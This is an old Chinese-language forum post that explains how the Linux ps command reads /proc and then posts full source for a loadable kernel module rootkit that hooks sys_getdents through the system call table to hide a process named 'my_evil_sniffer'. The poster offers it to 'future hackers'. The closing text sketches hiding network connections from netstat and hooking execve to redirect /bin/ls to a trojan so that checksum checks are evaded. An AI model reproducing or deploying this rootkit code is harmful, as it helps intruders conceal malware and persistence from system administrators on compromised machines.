|
发表于 2003-7-9 22:44:48
|
显示全部楼层
yes, hook the system call. dangerous man
斑竹,你不是说我吧!
好吧,为了满足未来的可能的黑客,贴一些别人的程序出来,只是以后别来害我,要是学成了可以教我哦!!!:)
象ps之类的命令并不是直接用任何特殊的系统调用
来获得当前进程的列表的(也没有系统调用可以完成这项任务) 通过对ps命令的strace,你会发现其实它
是从/proc目录里得到进程信息的。在/proc里你可以找到很多目录,它们的名字都是仅仅由数字组成的(
比较奇怪吧;),那些数字就是运行着的进程的PID了,在这些目录里你可以找到与该进程有关的任何信息
,所以呢,ps命令其实就是对/proc运行了ls而已,而进程的相关信息,则是在/proc/PID的目录里放着,
好了,现在我们有办法了,ps必须从/proc目录里读东西,所以它要用到sys_getdents(...),我们只要从
PID来找出进程名,然后再把PID和/proc里的比较,如果是我们想藏的东西,就象前面所说的隐藏目录一
样,把它给封杀掉,上面程序中的两个task的函数及invisible函数仅是用来获得在/proc里找到PID的名
字的,至于文件隐藏,不用我多说了罢。
好,我把实现例程贴出来供参考:
#define MODULE
#define __KERNEL__
extern void* sys_call_table[];
/*我们想要隐藏的进程名*/
char mtroj[] = "my_evil_sniffer";
int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);
/*将string转换为数字*/
int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
if (*ptr < '0' || *ptr > '9')
return (-1);
res += (*ptr - '0') * mul;
mul *= 10;
}
return (res);
}
/*从PID里取得任务列表的结构*/
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = current;
do {
if (p->pid == pid)
return p;
p = p->next_task;
}
while (p != current);
return NULL;
}
/*从任务列表里取得进程的名字*/
static inline char *task_name(struct task_struct *p, char *buf)
{
int i;
char *name;
name = p->comm;
i = sizeof(p->comm);
do {
unsigned char c = *name;
name++;
i--;
*buf = c;
if (!c)
break;
if (c == '\\') {
buf[1] = c;
buf += 2;
continue;
}
if (c == '\n') {
buf[0] = '\\';
buf[1] = 'n';
buf += 2;
continue;
}
buf++;
}
while (i);
*buf = '\n';
return buf + 1;
}
/*检查这个进程是否是我们想要隐藏的家伙*/
int invisible(pid_t pid)
{
struct task_struct *task = get_task(pid);
char *buffer;
if (task) {
buffer = kmalloc(200, GFP_KERNEL);
memset(buffer, 0, 200);
task_name(task, buffer);
if (strstr(buffer, (char *) &mtroj)) {
kfree(buffer);
return 1;
}
}
return 0;
}
/*从我刚才的第一篇文章就已经说过了,呵呵不多说了*/
int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
unsigned int tmp, n;
int t, proc = 0;
struct inode *dinode;
struct dirent *dirp2, *dirp3;
tmp = (*orig_getdents) (fd, dirp, count);
#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif
if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
proc=1;
if (tmp > 0) {
dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
memcpy_fromfs(dirp2, dirp, tmp);
dirp3 = dirp2;
t = tmp;
while (t > 0) {
n = dirp3->d_reclen;
t -= n;
if ((proc && invisible(myatoi(dirp3->d_name)))) {
if (t != 0)
memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
else
dirp3->d_off = 1024;
tmp -= n;
}
if (t != 0)
dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
}
memcpy_tofs(dirp, dirp2, tmp);
kfree(dirp2);
}
return tmp;
}
int init_module(void) /*加载*/
{
orig_getdents=sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents]=hacked_getdents;
return 0;
}
void cleanup_module(void) /*卸载*/
{
sys_call_table[SYS_getdents]=orig_getdents;
}
其实其他我就不多说了,都是在重复劳动了,同样隐藏网络连接我们可以截获netstat命令的系统调用就
可以了。
我们还可以截获sys_execve(...)来重定向系统命令如/bin/ps,/bin/ls,呵呵,其实和本文是两回事了,
说说而已,也就是把/bin/ls重定向到我们的ls木马或rootkit程序,这样可以躲过checksum的校验,因为
我们根本没有替换/bin/ls,呵呵,照这个思路我们可以做的事情非常多,发挥想象可以做出很多好玩的
木马。
我是不是在纵容啊!! |
|